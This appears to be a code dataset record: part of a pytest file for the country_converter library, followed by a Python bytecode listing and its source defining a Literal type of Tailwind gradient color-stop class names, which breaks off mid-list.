to="continent_7") assert "America" == cc.convert("Canada", to="continent") assert "North America" == cc.convert("Canada", to="continent_7") assert "South America" == cc.convert("Brazil", to="continent_7") def test_IOC(): cc = coco.CountryConverter() assert "GER" == cc.convert("Germany", to="IOC") assert "GAM" == cc.convert("Gambia", to="IOC") assert cc.convert("Yemen", to="IOC") == cc.convert("Yemen", to="ISO3") def test_GWcode(): cc = coco.CountryConverter() assert 305 == cc.convert("AUT", to="GWcode") assert 771 == cc.convert("BD", to="GWcode") assert 694 == cc.convert("Qatar", to="GWcode") assert np.isnan(cc.convert("United States Minor Outlying Islands", to="GWcode")) def test_pandas_convert(): """This will test that the behaviour of pandas_convert is equivalent to convert for Pandas Series""" test_series = pd.read_csv(f"{TESTPATH}/test_series_data.csv", header=0) cc = coco.CountryConverter() with pytest.raises(TypeError): cc.pandas_convert(test_series, to="ISO3") convert = pd.Series( cc.convert(test_series.data, to="ISO3"), index=test_series.index, name="data" ) pandas_convert = cc.pandas_convert(test_series.data, to="ISO3") assert_series_equal(convert, pandas_convert) def test_pandas_convert_options(): """This will test that the behaviour of pandas_convert is equivalent to convert for Pandas Series, using various options""" test_series = pd.read_csv(f"{TESTPATH}/test_series_data.csv", header=0) cc = coco.CountryConverter() convert_not_found = pd.Series( cc.convert(test_series.data, to="ISO2", not_found="empty"), index=test_series.index, name="data", ) pandas_not_found = cc.pandas_convert(test_series.data, to="ISO2", not_found="empty") assert_series_equal(convert_not_found, pandas_not_found) convert_enforce_list = pd.Series( cc.convert(test_series.data, to="UNRegion", enforce_list=True), index=test_series.index, name="data", ) pandas_enforce_list = cc.pandas_convert( test_series.data, to="UNRegion", enforce_list=True ) assert_series_equal(convert_enforce_list, pandas_enforce_list) convert_exclude_prefix = pd.Series( cc.convert( test_series.data, to="name", exclude_prefix=["without", "excluding"] ), index=test_series.index, name="data", ) pandas_exclude_prefix = cc.pandas_convert( test_series.data, to="name", exclude_prefix=["without", "excluding"] ) assert_series_equal(convert_exclude_prefix, pandas_exclude_prefix) def test_CC41_output(): cc = coco.CountryConverter() cs = cc.CC41.CC41.unique() assert len(cs) == 41 assert "Rest of World" in cs assert "Great Britain and N.I." in cs
data/country_converter-1.2/tests/test_functionality.py
16,445
9,008
386,713
LOAD_CONST 0 LOAD_CONST ('Literal',) IMPORT_NAME typing IMPORT_FROM Literal STORE_NAME Literal POP_TOP LOAD_NAME Literal LOAD_CONST ('from-inherit', 'from-current', 'from-transparent', 'from-black', 'from-white', 'from-slate-50', 'from-slate-100', 'from-slate-200', 'from-slate-300', 'from-slate-400', 'from-slate-500', 'from-slate-600', 'from-slate-700', 'from-slate-800', 'from-slate-900', 'from-slate-950', 'from-gray-50', 'from-gray-100', 'from-gray-200', 'from-gray-300', 'from-gray-400', 'from-gray-500', 'from-gray-600', 'from-gray-700', 'from-gray-800', 'from-gray-900', 'from-gray-950', 'from-zinc-50', 'from-zinc-100', 'from-zinc-200', 'from-zinc-300', 'from-zinc-400', 'from-zinc-500', 'from-zinc-600', 'from-zinc-700', 'from-zinc-800', 'from-zinc-900', 'from-zinc-950', 'from-neutral-50', 'from-neutral-100', 'from-neutral-200', 'from-neutral-300', 'from-neutral-400', 'from-neutral-500', 'from-neutral-600', 'from-neutral-700', 'from-neutral-800', 'from-neutral-900', 'from-neutral-950', 'from-stone-50', 'from-stone-100', 'from-stone-200', 'from-stone-300', 'from-stone-400', 'from-stone-500', 'from-stone-600', 'from-stone-700', 'from-stone-800', 'from-stone-900', 'from-stone-950', 'from-red-50', 'from-red-100', 'from-red-200', 'from-red-300', 'from-red-400', 'from-red-500', 'from-red-600', 'from-red-700', 'from-red-800', 'from-red-900', 'from-red-950', 'from-orange-50', 'from-orange-100', 'from-orange-200', 'from-orange-300', 'from-orange-400', 'from-orange-500', 'from-orange-600', 'from-orange-700', 'from-orange-800', 'from-orange-900', 'from-orange-950', 'from-amber-50', 'from-amber-100', 'from-amber-200', 'from-amber-300', 'from-amber-400', 'from-amber-500', 'from-amber-600', 'from-amber-700', 'from-amber-800', 'from-amber-900', 'from-amber-950', 'from-yellow-50', 'from-yellow-100', 'from-yellow-200', 'from-yellow-300', 'from-yellow-400', 'from-yellow-500', 'from-yellow-600', 'from-yellow-700', 'from-yellow-800', 'from-yellow-900', 'from-yellow-950', 'from-lime-50', 'from-lime-100', 'from-lime-200', 'from-lime-300', 'from-lime-400', 'from-lime-500', 'from-lime-600', 'from-lime-700', 'from-lime-800', 'from-lime-900', 'from-lime-950', 'from-green-50', 'from-green-100', 'from-green-200', 'from-green-300', 'from-green-400', 'from-green-500', 'from-green-600', 'from-green-700', 'from-green-800', 'from-green-900', 'from-green-950', 'from-emerald-50', 'from-emerald-100', 'from-emerald-200', 'from-emerald-300', 'from-emerald-400', 'from-emerald-500', 'from-emerald-600', 'from-emerald-700', 'from-emerald-800', 'from-emerald-900', 'from-emerald-950', 'from-teal-50', 'from-teal-100', 'from-teal-200', 'from-teal-300', 'from-teal-400', 'from-teal-500', 'from-teal-600', 'from-teal-700', 'from-teal-800', 'from-teal-900', 'from-teal-950', 'from-cyan-50', 'from-cyan-100', 'from-cyan-200', 'from-cyan-300', 'from-cyan-400', 'from-cyan-500', 'from-cyan-600', 'from-cyan-700', 'from-cyan-800', 'from-cyan-900', 'from-cyan-950', 'from-sky-50', 'from-sky-100', 'from-sky-200', 'from-sky-300', 'from-sky-400', 'from-sky-500', 'from-sky-600', 'from-sky-700', 'from-sky-800', 'from-sky-900', 'from-sky-950', 'from-blue-50', 'from-blue-100', 'from-blue-200', 'from-blue-300', 'from-blue-400', 'from-blue-500', 'from-blue-600', 'from-blue-700', 'from-blue-800', 'from-blue-900', 'from-blue-950', 'from-indigo-50', 'from-indigo-100', 'from-indigo-200', 'from-indigo-300', 'from-indigo-400', 'from-indigo-500', 'from-indigo-600', 'from-indigo-700', 'from-indigo-800', 'from-indigo-900', 'from-indigo-950', 'from-violet-50', 'from-violet-100', 'from-violet-200', 'from-violet-300', 'from-violet-400', 'from-violet-500', 'from-violet-600', 'from-violet-700', 'from-violet-800', 'from-violet-900', 'from-violet-950', 'from-purple-50', 'from-purple-100', 'from-purple-200', 'from-purple-300', 'from-purple-400', 'from-purple-500', 'from-purple-600', 'from-purple-700', 'from-purple-800', 'from-purple-900', 'from-purple-950', 'from-fuchsia-50', 'from-fuchsia-100', 'from-fuchsia-200', 'from-fuchsia-300', 'from-fuchsia-400', 'from-fuchsia-500', 'from-fuchsia-600', 'from-fuchsia-700', 'from-fuchsia-800', 'from-fuchsia-900', 'from-fuchsia-950', 'from-pink-50', 'from-pink-100', 'from-pink-200', 'from-pink-300', 'from-pink-400', 'from-pink-500', 'from-pink-600', 'from-pink-700', 'from-pink-800', 'from-pink-900', 'from-pink-950', 'from-rose-50', 'from-rose-100', 'from-rose-200', 'from-rose-300', 'from-rose-400', 'from-rose-500', 'from-rose-600', 'from-rose-700', 'from-rose-800', 'from-rose-900', 'from-rose-950', 'from-0%', 'from-5%', 'from-10%', 'from-15%', 'from-20%', 'from-25%', 'from-30%', 'from-35%', 'from-40%', 'from-45%', 'from-50%', 'from-55%', 'from-60%', 'from-65%', 'from-70%', 'from-75%', 'from-80%', 'from-85%', 'from-90%', 'from-95%', 'from-100%', 'via-inherit', 'via-current', 'via-transparent', 'via-black', 'via-white', 'via-slate-50', 'via-slate-100', 'via-slate-200', 'via-slate-300', 'via-slate-400', 'via-slate-500', 'via-slate-600', 'via-slate-700', 'via-slate-800', 'via-slate-900', 'via-slate-950', 'via-gray-50', 'via-gray-100', 'via-gray-200', 'via-gray-300', 'via-gray-400', 'via-gray-500', 'via-gray-600', 'via-gray-700', 'via-gray-800', 'via-gray-900', 'via-gray-950', 'via-zinc-50', 'via-zinc-100', 'via-zinc-200', 'via-zinc-300', 'via-zinc-400', 'via-zinc-500', 'via-zinc-600', 'via-zinc-700', 'via-zinc-800', 'via-zinc-900', 'via-zinc-950', 'via-neutral-50', 'via-neutral-100', 'via-neutral-200', 'via-neutral-300', 'via-neutral-400', 'via-neutral-500', 'via-neutral-600', 'via-neutral-700', 'via-neutral-800', 'via-neutral-900', 'via-neutral-950', 'via-stone-50', 'via-stone-100', 'via-stone-200', 'via-stone-300', 'via-stone-400', 'via-stone-500', 'via-stone-600', 'via-stone-700', 'via-stone-800', 'via-stone-900', 'via-stone-950', 'via-red-50', 'via-red-100', 'via-red-200', 'via-red-300', 'via-red-400', 'via-red-500', 'via-red-600', 'via-red-700', 'via-red-800', 'via-red-900', 'via-red-950', 'via-orange-50', 'via-orange-100', 'via-orange-200', 'via-orange-300', 'via-orange-400', 'via-orange-500', 'via-orange-600', 'via-orange-700', 'via-orange-800', 'via-orange-900', 'via-orange-950', 'via-amber-50', 'via-amber-100', 'via-amber-200', 'via-amber-300', 'via-amber-400', 'via-amber-500', 'via-amber-600', 'via-amber-700', 'via-amber-800', 'via-amber-900', 'via-amber-950', 'via-yellow-50', 'via-yellow-100', 'via-yellow-200', 'via-yellow-300', 'via-yellow-400', 'via-yellow-500', 'via-yellow-600', 'via-yellow-700', 'via-yellow-800', 'via-yellow-900', 'via-yellow-950', 'via-lime-50', 'via-lime-100', 'via-lime-200', 'via-lime-300', 'via-lime-400', 'via-lime-500', 'via-lime-600', 'via-lime-700', 'via-lime-800', 'via-lime-900', 'via-lime-950', 'via-green-50', 'via-green-100', 'via-green-200', 'via-green-300', 'via-green-400', 'via-green-500', 'via-green-600', 'via-green-700', 'via-green-800', 'via-green-900', 'via-green-950', 'via-emerald-50', 'via-emerald-100', 'via-emerald-200', 'via-emerald-300', 'via-emerald-400', 'via-emerald-500', 'via-emerald-600', 'via-emerald-700', 'via-emerald-800', 'via-emerald-900', 'via-emerald-950', 'via-teal-50', 'via-teal-100', 'via-teal-200', 'via-teal-300', 'via-teal-400', 'via-teal-500', 'via-teal-600', 'via-teal-700', 'via-teal-800', 'via-teal-900', 'via-teal-950', 'via-cyan-50', 'via-cyan-100', 'via-cyan-200', 'via-cyan-300', 'via-cyan-400', 'via-cyan-500', 'via-cyan-600', 'via-cyan-700', 'via-cyan-800', 'via-cyan-900', 'via-cyan-950', 'via-sky-50', 'via-sky-100', 'via-sky-200', 'via-sky-300', 'via-sky-400', 'via-sky-500', 'via-sky-600', 'via-sky-700', 'via-sky-800', 'via-sky-900', 'via-sky-950', 'via-blue-50', 'via-blue-100', 'via-blue-200', 'via-blue-300', 'via-blue-400', 'via-blue-500', 'via-blue-600', 'via-blue-700', 'via-blue-800', 'via-blue-900', 'via-blue-950', 'via-indigo-50', 'via-indigo-100', 'via-indigo-200', 'via-indigo-300', 'via-indigo-400', 'via-indigo-500', 'via-indigo-600', 'via-indigo-700', 'via-indigo-800', 'via-indigo-900', 'via-indigo-950', 'via-violet-50', 'via-violet-100', 'via-violet-200', 'via-violet-300', 'via-violet-400', 'via-violet-500', 'via-violet-600', 'via-violet-700', 'via-violet-800', 'via-violet-900', 'via-violet-950', 'via-purple-50', 'via-purple-100', 'via-purple-200', 'via-purple-300', 'via-purple-400', 'via-purple-500', 'via-purple-600', 'via-purple-700', 'via-purple-800', 'via-purple-900', 'via-purple-950', 'via-fuchsia-50', 'via-fuchsia-100', 'via-fuchsia-200', 'via-fuchsia-300', 'via-fuchsia-400', 'via-fuchsia-500', 'via-fuchsia-600', 'via-fuchsia-700', 'via-fuchsia-800', 'via-fuchsia-900', 'via-fuchsia-950', 'via-pink-50', 'via-pink-100', 'via-pink-200', 'via-pink-300', 'via-pink-400', 'via-pink-500', 'via-pink-600', 'via-pink-700', 'via-pink-800', 'via-pink-900', 'via-pink-950', 'via-rose-50', 'via-rose-100', 'via-rose-200', 'via-rose-300', 'via-rose-400', 'via-rose-500', 'via-rose-600', 'via-rose-700', 'via-rose-800', 'via-rose-900', 'via-rose-950', 'via-0%', 'via-5%', 'via-10%', 'via-15%', 'via-20%', 'via-25%', 'via-30%', 'via-35%', 'via-40%', 'via-45%', 'via-50%', 'via-55%', 'via-60%', 'via-65%', 'via-70%', 'via-75%', 'via-80%', 'via-85%', 'via-90%', 'via-95%', 'via-100%', 'to-inherit', 'to-current', 'to-transparent', 'to-black', 'to-white', 'to-slate-50', 'to-slate-100', 'to-slate-200', 'to-slate-300', 'to-slate-400', 'to-slate-500', 'to-slate-600', 'to-slate-700', 'to-slate-800', 'to-slate-900', 'to-slate-950', 'to-gray-50', 'to-gray-100', 'to-gray-200', 'to-gray-300', 'to-gray-400', 'to-gray-500', 'to-gray-600', 'to-gray-700', 'to-gray-800', 'to-gray-900', 'to-gray-950', 'to-zinc-50', 'to-zinc-100', 'to-zinc-200', 'to-zinc-300', 'to-zinc-400', 'to-zinc-500', 'to-zinc-600', 'to-zinc-700', 'to-zinc-800', 'to-zinc-900', 'to-zinc-950', 'to-neutral-50', 'to-neutral-100', 'to-neutral-200', 'to-neutral-300', 'to-neutral-400', 'to-neutral-500', 'to-neutral-600', 'to-neutral-700', 'to-neutral-800', 'to-neutral-900', 'to-neutral-950', 'to-stone-50', 'to-stone-100', 'to-stone-200', 'to-stone-300', 'to-stone-400', 'to-stone-500', 'to-stone-600', 'to-stone-700', 'to-stone-800', 'to-stone-900', 'to-stone-950', 'to-red-50', 'to-red-100', 'to-red-200', 'to-red-300', 'to-red-400', 'to-red-500', 'to-red-600', 'to-red-700', 'to-red-800', 'to-red-900', 'to-red-950', 'to-orange-50', 'to-orange-100', 'to-orange-200', 'to-orange-300', 'to-orange-400', 'to-orange-500', 'to-orange-600', 'to-orange-700', 'to-orange-800', 'to-orange-900', 'to-orange-950', 'to-amber-50', 'to-amber-100', 'to-amber-200', 'to-amber-300', 'to-amber-400', 'to-amber-500', 'to-amber-600', 'to-amber-700', 'to-amber-800', 'to-amber-900', 'to-amber-950', 'to-yellow-50', 'to-yellow-100', 'to-yellow-200', 'to-yellow-300', 'to-yellow-400', 'to-yellow-500', 'to-yellow-600', 'to-yellow-700', 'to-yellow-800', 'to-yellow-900', 'to-yellow-950', 'to-lime-50', 'to-lime-100', 'to-lime-200', 'to-lime-300', 'to-lime-400', 'to-lime-500', 'to-lime-600', 'to-lime-700', 'to-lime-800', 'to-lime-900', 'to-lime-950', 'to-green-50', 'to-green-100', 'to-green-200', 'to-green-300', 'to-green-400', 'to-green-500', 'to-green-600', 'to-green-700', 'to-green-800', 'to-green-900', 'to-green-950', 'to-emerald-50', 'to-emerald-100', 'to-emerald-200', 'to-emerald-300', 'to-emerald-400', 'to-emerald-500', 'to-emerald-600', 'to-emerald-700', 'to-emerald-800', 'to-emerald-900', 'to-emerald-950', 'to-teal-50', 'to-teal-100', 'to-teal-200', 'to-teal-300', 'to-teal-400', 'to-teal-500', 'to-teal-600', 'to-teal-700', 'to-teal-800', 'to-teal-900', 'to-teal-950', 'to-cyan-50', 'to-cyan-100', 'to-cyan-200', 'to-cyan-300', 'to-cyan-400', 'to-cyan-500', 'to-cyan-600', 'to-cyan-700', 'to-cyan-800', 'to-cyan-900', 'to-cyan-950', 'to-sky-50', 'to-sky-100', 'to-sky-200', 'to-sky-300', 'to-sky-400', 'to-sky-500', 'to-sky-600', 'to-sky-700', 'to-sky-800', 'to-sky-900', 'to-sky-950', 'to-blue-50', 'to-blue-100', 'to-blue-200', 'to-blue-300', 'to-blue-400', 'to-blue-500', 'to-blue-600', 'to-blue-700', 'to-blue-800', 'to-blue-900', 'to-blue-950', 'to-indigo-50', 'to-indigo-100', 'to-indigo-200', 'to-indigo-300', 'to-indigo-400', 'to-indigo-500', 'to-indigo-600', 'to-indigo-700', 'to-indigo-800', 'to-indigo-900', 'to-indigo-950', 'to-violet-50', 'to-violet-100', 'to-violet-200', 'to-violet-300', 'to-violet-400', 'to-violet-500', 'to-violet-600', 'to-violet-700', 'to-violet-800', 'to-violet-900', 'to-violet-950', 'to-purple-50', 'to-purple-100', 'to-purple-200', 'to-purple-300', 'to-purple-400', 'to-purple-500', 'to-purple-600', 'to-purple-700', 'to-purple-800', 'to-purple-900', 'to-purple-950', 'to-fuchsia-50', 'to-fuchsia-100', 'to-fuchsia-200', 'to-fuchsia-300', 'to-fuchsia-400', 'to-fuchsia-500', 'to-fuchsia-600', 'to-fuchsia-700', 'to-fuchsia-800', 'to-fuchsia-900', 'to-fuchsia-950', 'to-pink-50', 'to-pink-100', 'to-pink-200', 'to-pink-300', 'to-pink-400', 'to-pink-500', 'to-pink-600', 'to-pink-700', 'to-pink-800', 'to-pink-900', 'to-pink-950', 'to-rose-50', 'to-rose-100', 'to-rose-200', 'to-rose-300', 'to-rose-400', 'to-rose-500', 'to-rose-600', 'to-rose-700', 'to-rose-800', 'to-rose-900', 'to-rose-950', 'to-0%', 'to-5%', 'to-10%', 'to-15%', 'to-20%', 'to-25%', 'to-30%', 'to-35%', 'to-40%', 'to-45%', 'to-50%', 'to-55%', 'to-60%', 'to-65%', 'to-70%', 'to-75%', 'to-80%', 'to-85%', 'to-90%', 'to-95%', 'to-100%') BINARY_SUBSCR STORE_NAME GradientColorStops LOAD_CONST None RETURN_VALUE
from typing import Literal GradientColorStops = Literal[ "from-inherit", "from-current", "from-transparent", "from-black", "from-white", "from-slate-50", "from-slate-100", "from-slate-200", "from-slate-300", "from-slate-400", "from-slate-500", "from-slate-600", "from-slate-700", "from-slate-800", "from-slate-900", "from-slate-950", "from-gray-50", "from-gray-100", "from-gray-200", "from-gray-300", "from-gray-400", "from-gray-500", "from-gray-600", "from-gray-700", "from-gray-800", "from-gray-900", "from-gray-950", "from-zinc-50", "from-zinc-100", "from-zinc-200", "from-zinc-300", "from-zinc-400", "from-zinc-500", "from-zinc-600", "from-zinc-700", "from-zinc-800", "from-zinc-900", "from-zinc-950", "from-neutral-50", "from-neutral-100", "from-neutral-200", "from-neutral-300", "from-neutral-400", "from-neutral-500", "from-neutral-600", "from-neutral-700", "from-neutral-800", "from-neutral-900", "from-neutral-950", "from-stone-50", "from-stone-100", "from-stone-200", "from-stone-300", "from-stone-400", "from-stone-500", "from-stone-600", "from-stone-700", "from-stone-800", "from-stone-900", "from-stone-950", "from-red-50", "from-red-100", "from-red-200", "from-red-300", "from-red-400", "from-red-500", "from-red-600", "from-red-700", "from-red-800", "from-red-900", "from-red-950", "from-orange-50", "from-orange-100", "from-orange-200", "from-orange-300", "from-orange-400", "from-orange-500", "from-orange-600", "from-orange-700", "from-orange-800", "from-orange-900", "from-orange-950", "from-amber-50", "from-amber-100", "from-amber-200", "from-amber-300", "from-amber-400", "from-amber-500", "from-amber-600", "from-amber-700", "from-amber-800", "from-amber-900", "from-amber-950", "from-yellow-50", "from-yellow-100", "from-yellow-200", "from-yellow-300", "from-yellow-400", "from-yellow-500", "from-yellow-600", "from-yellow-700", "from-yellow-800", "from-yellow-900", "from-yellow-950", "from-lime-50", "from-lime-100", "from-lime-200", "from-lime-300", "from-lime-400", "from-lime-500", "from-lime-600", "from-lime-700", "from-lime-800", "from-lime-900", "from-lime-950", "from-green-50", "from-green-100", "from-green-200", "from-green-300", "from-green-400", "from-green-500", "from-green-600", "from-green-700", "from-green-800", "from-green-900", "from-green-950", "from-emerald-50", "from-emerald-100", "from-emerald-200", "from-emerald-300", "from-emerald-400", "from-emerald-500", "from-emerald-600", "from-emerald-700", "from-emerald-800", "from-emerald-900", "from-emerald-950", "from-teal-50", "from-teal-100", "from-teal-200", "from-teal-300", "from-teal-400", "from-teal-500", "from-teal-600", "from-teal-700", "from-teal-800", "from-teal-900", "from-teal-950", "from-cyan-50", "from-cyan-100", "from-cyan-200", "from-cyan-300", "from-cyan-400", "from-cyan-500", "from-cyan-600", "from-cyan-700", "from-cyan-800", "from-cyan-900", "from-cyan-950", "from-sky-50", "from-sky-100", "from-sky-200", "from-sky-300", "from-sky-400", "from-sky-500", "from-sky-600", "from-sky-700", "from-sky-800", "from-sky-900", "from-sky-950", "from-blue-50", "from-blue-100", "from-blue-200", "from-blue-300", "from-blue-400", "from-blue-500", "from-blue-600", "from-blue-700", "from-blue-800", "from-blue-900", "from-blue-950", "from-indigo-50", "from-indigo-100", "from-indigo-200", "from-indigo-300", "from-indigo-400", "from-indigo-500", "from-indigo-600", "from-indigo-700", "from-indigo-800", "from-indigo-900", "from-indigo-950", "from-violet-50", "from-violet-100", "from-violet-200", "from-violet-300", "from-violet-400", "from-violet-500", "from-violet-600", "from-violet-700", "from-violet-800", "from-violet-900", "from-violet-950", "from-purple-50", "from-purple-100", "from-purple-200", "from-purple-300", "from-purple-400", "from-purple-500", "from-purple-600", "from-purple-700", "from-purple-800", "from-purple-900", "from-purple-950", "from-fuchsia-50", "from-fuchsia-100", "from-fuchsia-200", "from-fuchsia-300", "from-fuchsia-400", "from-fuchsia-500", "from-fuchsia-600", "from-fuchsia-700", "from-fuchsia-800", "from-fuchsia-900", "from-fuchsia-950", "from-pink-50", "from-pink-100", "from-pink-200", "from-pink-300", "from-pink-400", "from-pink-500", "from-pink-600", "from-pink-700", "from-pink-800", "from-pink-900", "from-pink-950", "from-rose-50", "from-rose-100", "from-rose-200", "from-rose-300", "from-rose-400", "from-rose-500", "from-rose-600", "from-rose-700", "from-rose-800", "from-rose-900", "from-rose-950", "from-0%", "from-5%", "from-10%", "from-15%", "from-20%", "from-25%", "from-30%", "from-35%", "from-40%", "from-45%", "from-50%", "from-55%", "from-60%", "from-65%", "from-70%", "from-75%", "from-80%", "from-85%", "from-90%", "from-95%", "from-100%", "via-inherit", "via-current", "via-transparent", "via-black", "via-white", "via-slate-50", "via-slate-100", "via-slate-200", "via-slate-300", "via-slate-400", "via-slate-500", "via-slate-600", "via-slate-700", "via-slate-800", "via-slate-900", "via-slate-950", "via-gray-50", "via-gray-100", "via-gray-200", "via-gray-300", "via-gray-400", "via-gray-500", "via-gray-600", "via-gray-700", "via-gray-800", "via-gray-900", "via-gray-950", "via-zinc-50", "via-zinc-100", "via-zinc-200", "via-zinc-300", "via-zinc-400", "via-zinc-500", "via-zinc-600", "via-zinc-700", "via-zinc-800", "via-zinc-900", "via-zinc-950", "via-neutral-50", "via-neutral-100", "via-neutral-200", "via-neutral-300", "via-neutral-400", "via-neutral-500", "via-neutral-600", "via-neutral-700", "via-neutral-800", "via-neutral-900", "via-neutral-950", "via-stone-50", "via-stone-100", "via-stone-200", "via-stone-300", "via-stone-400", "via-stone-500", "via-stone-600", "via-stone-700", "via-stone-800", "via-stone-900", "via-stone-950", "via-red-50", "via-red-100", "via-red-200", "via-red-300", "via-red-400", "via-red-500", "via-red-600", "via-red-700", "via-red-800", "via-red-900", "via-red-950", "via-orange-50", "via-orange-100", "via-orange-200", "via-orange-300", "via-orange-400", "via-orange-500", "via-orange-600", "via-orange-700", "via-orange-800", "via-orange-900", "via-orange-950", "via-amber-50", "via-amber-100", "via-amber-200", "via-amber-300", "via-amber-400", "via-amber-500", "via-amber-600", "via-amber-700", "via-amber-800", "via-amber-900", "via-amber-950", "via-yellow-50", "via-yellow-100", "via-yellow-200", "via-yellow-300", "via-yellow-400", "via-yellow-500", "via-yellow-600", "via-yellow-700", "via-yellow-800", "via-yellow-900", "via-yellow-950", "via-lime-50", "via-lime-100", "via-lime-200", "via-lime-300", "via-lime-400", "via-lime-500", "via-lime-600", "via-lime-700", "via-lime-800", "via-lime-900", "via-lime-950", "via-green-50", "via-green-100", "via-green-200", "via-green-300", "via-green-400", "via-green-500", "via-green-600", "via-green-700", "via-green-800", "via-green-900", "via-green-950", "via-emerald-50", "via-emerald-100", "via-emerald-200", "via-emerald-300", "via-emerald-400", "via-emerald-500", "via-emerald-600", "via-emerald-700", "via-emerald-800", "via-emerald-900", "via-emerald-950", "via-teal-50", "via-teal-100", "via-teal-200", "via-teal-300", "via-teal-400", "via-teal-500", "via-teal-600", "via-teal-700", "via-teal-800", "via-teal-900", "via-teal-950", "via-cyan-50", "via-cyan-100", "via-cyan-200", "via-cyan-300", "via-cyan-400", "via-cyan-500", "via-cyan-600", "via-cyan-700", "via-cyan-800", "via-cyan-900", "via-cyan-950", "via-sky-50", "via-sky-100", "via-sky-200", "via-sky-300", "via-sky-400", "via-sky-500", "via-sky-600", "via-sky-700", "via-sky-800", "via-sky-900", "via-sky-950", "via-blue-50", "via-blue-100", "via-blue-200", "via-blue-300", "via-blue-400", "via-blue-500", "via-blue-600", "via-blue-700", "via-blue-800", "via-blue-900", "via-blue-950", "via-indigo-50", "via-indigo-100", "via-indigo-200", "via-indigo-300", "via-indigo-400", "via-indigo-500", "via-indigo-600", "via-indigo-700", "via-indigo-800", "via-indigo-900", "via-indigo-950", "via-violet-50", "via-violet-100", "via-violet-200", "via-violet-300", "via-violet-400", "via-violet-500", "via-violet-600", "via-violet-700", "via-violet-800", "via-violet-900", "via-violet-950", "via-purple-50", "via-purple-100", "via-purple-200", "via-purple-300", "via-purple-400", "via-purple-500", "via-purple-600", "via-purple-700", "via-purple-800", "via-purple-900", "via-purple-950", "via-fuchsia-50", "via-fuchsia-100", "via-fuchsia-200", "via-fuchsia-300", "via-fuchsia-400", "via-fuchsia-500", "via-fuchsia-600", "via-fuchsia-700", "via-fuchsia-800", "via-fuchsia-900", "via-fuchsia-950", "via-pink-50", "via-pink-100", "via-pink-200", "via-pink-300", "via-pink-400", "via-pink-500", "via-pink-600", "via-pink-700", "via-pink-800", "via-pink-900", "via-pink-950", "via-rose-50", "via-rose-100", "via-rose-200", "via-rose-300", "via-rose-400", "via-rose-500", "via-rose-600", "via-rose-700", "via-rose-800", "via-rose-900", "via-rose-950", "via-0%", "via-5%", "via-10%", "via-15%", "via-20%", "via-25%", "via-30%", "via-35%", "via-40%", "via-45%", "via-50%", "via-55%", "via-60%", "via-65%", "via-70%", "via-75%", "via-80%", "via-85%", "via-90%", "via-95%", "via-100%", "to-inherit", "to-current", "to-transparent", "to-black", "to-white", "to-slate-50", "to-slate-100", "to-slate-200", "to-slate-300", "to-slate-400", "to-slate-500", "to-slate-600", "to-slate-700", "to-slate-800", "to-slate-900", "to-slate-950", "to-gray-50", "to-gray-100", "to-gray-200", "to-gray-300", "to-gray-400", "to-gray-500", "to-gray-600", "to-gray-700", "to-gray-800", "to-gray-900", "to-gray-950", "to-zinc-50", "to-zinc-100", "to-zinc-200", "to-zinc-300", "to-zinc-400", "to-zinc-500", "to-zinc-600", "to-zinc-700", "to-zinc-800", "to-zinc-900", "to-zinc-950", "to-neutral-50", "to-neutral-100", "to-neutral-200", "to-neutral-300", "to-neutral-400", "to-neutral-500", "to-neutral-600", "to-neutral-700", "to-neutral-800", "to-neutral-900", "to-neutral-950", "to-stone-50", "to-stone-100", "to-stone-200", "to-stone-300", "to-stone-400", "to-stone-500", "to-stone-600", "to-stone-700", "to-stone-800", "to-stone-900", "to-stone-950", "to-red-50", "to-red-100", "to-red-200", "to-red-300", "to-red-400", "to-red-500", "to-red-600", "to-red-700", "to-red-800", "to-red-900", "to-red-950", "to-orange-50", "to-orange-100", "to-orange-200", "to-orange-300", "to-orange-400", "to-orange-500", "to-orange-600", "to-orange-700", "to-orange-800", "to-orange-900", "to-orange-950", "to-amber-50", "to-amber-100", "to-amber-200", "to-amber-300", "to-amber-400", "to-amber-500", "to-amber-600", "to-amber-700", "to-amber-800", "to-amber-900", "to-amber-950", "to-yellow-50", "to-yellow-100", "to-yellow-200", "to-yellow-300", "to-yellow-400", "to-yellow-500", "to-yellow-600", "to-yellow-700", "to-yellow-800", "to-yellow-900", "to-yellow-950", "to-lime-50", "to-lime-100", "to-lime-200", "to-lime-300", "to-lime-400", "to-lime-500", "to-lime-600", "to-lime-700", "to-lime-800", "to-lime-900", "to-lime-950", "to-green-50", "to-green-100", "to-green-200", "to-green-300", "to-green-400", "to-green-500", "to-green-600", "to-green-700", "to-green-800", "to-green-900", "to-green-950", "to-emerald-50", "to-emerald-100", "to-emerald-200", "to-emerald-300", "to-emerald-400", "to-emerald-500", "to-emerald-600", "to-emerald-700", "to-emerald-800", "to-emerald-900", "to-emerald-950", "to-teal-50", "to-teal-100", "to-teal-200", "to-teal-300", "to-teal-400", "to-teal-500", "to-teal-600", "to-teal-700", "to-teal-800", "to-teal-900", "to-teal-950", "to-cyan-50", "to-cyan-100", "to-cyan-200", "to-cyan-300", "to-cyan-400", "to-cyan-500", "to-cyan-600", "to-cyan-700", "to-cyan-800", "to-cyan-900", "to-cyan-950", "to-sky-50", "to-sky-100", "to-sky-200", "to-sky-300", "to-sky-400", "to-sky-500", "to-sky-600", "to-sky-700", "to-sky-800", "to-sky-900", "to-sky-950", "to-blue-50", "to-blue-100", "to-blue-200", "to-blue-300", "to-blue-400", "to-blue-500", "to-blue-600", "to-blue-700", "to-blue-800", "to-blue-900", "to-blue-950", "to-indigo-50", "to-indigo-100", "to-indigo-200", "to-indigo-300", "to-indigo-400", "to-indigo-500", "to-indigo-600", "to-indigo-700", "to-indigo-800", "to-indigo-900", "to-indigo-950", "to-violet-50", "to-violet-100", "to-violet-200", "to-violet-300", "to-violet-400", "to-violet-500", "to-violet-600", "to-violet-700", "to-violet-800", "to-violet-900", "to-violet-950", "to-purple-50", "to-purple-100", "to-purple-200", "to-purple-300", "to-purple-400", "to-purple-500", "to-purple-600", "to-purple-700", "to-purple-800", "to-purple-900", "to-purple-950", "to-fuchsia-50", "to-fuchsia-100", "to-fuchsia-200", "to-fuchsia-300", "to-fuchsia-400", "to-fuchsia-500", "to-fuchsia-600", "to-fuchsia-700", "to-fuchsia-800", "to-fuchsia-900", "to-fuchsia-950", "to-pink-50", "to-pink-100", "to-pink-200", "to-pink-300", "to-pink-400", "to-pink-500", "to-pink-600", "to-pink-700", "to-pink-800", "to-pink-900", "to-pink-950", "to-rose-50", "to-rose-100", "to-rose-200", "to-rose-300", "to-rose-400", "to-rose-500", "to-rose-600", "to-rose-700", "to-rose-800", "to-rose-900", "to-rose-950", "to-0%", "to-5%", "to-10%", "to-15%", "to-20%", 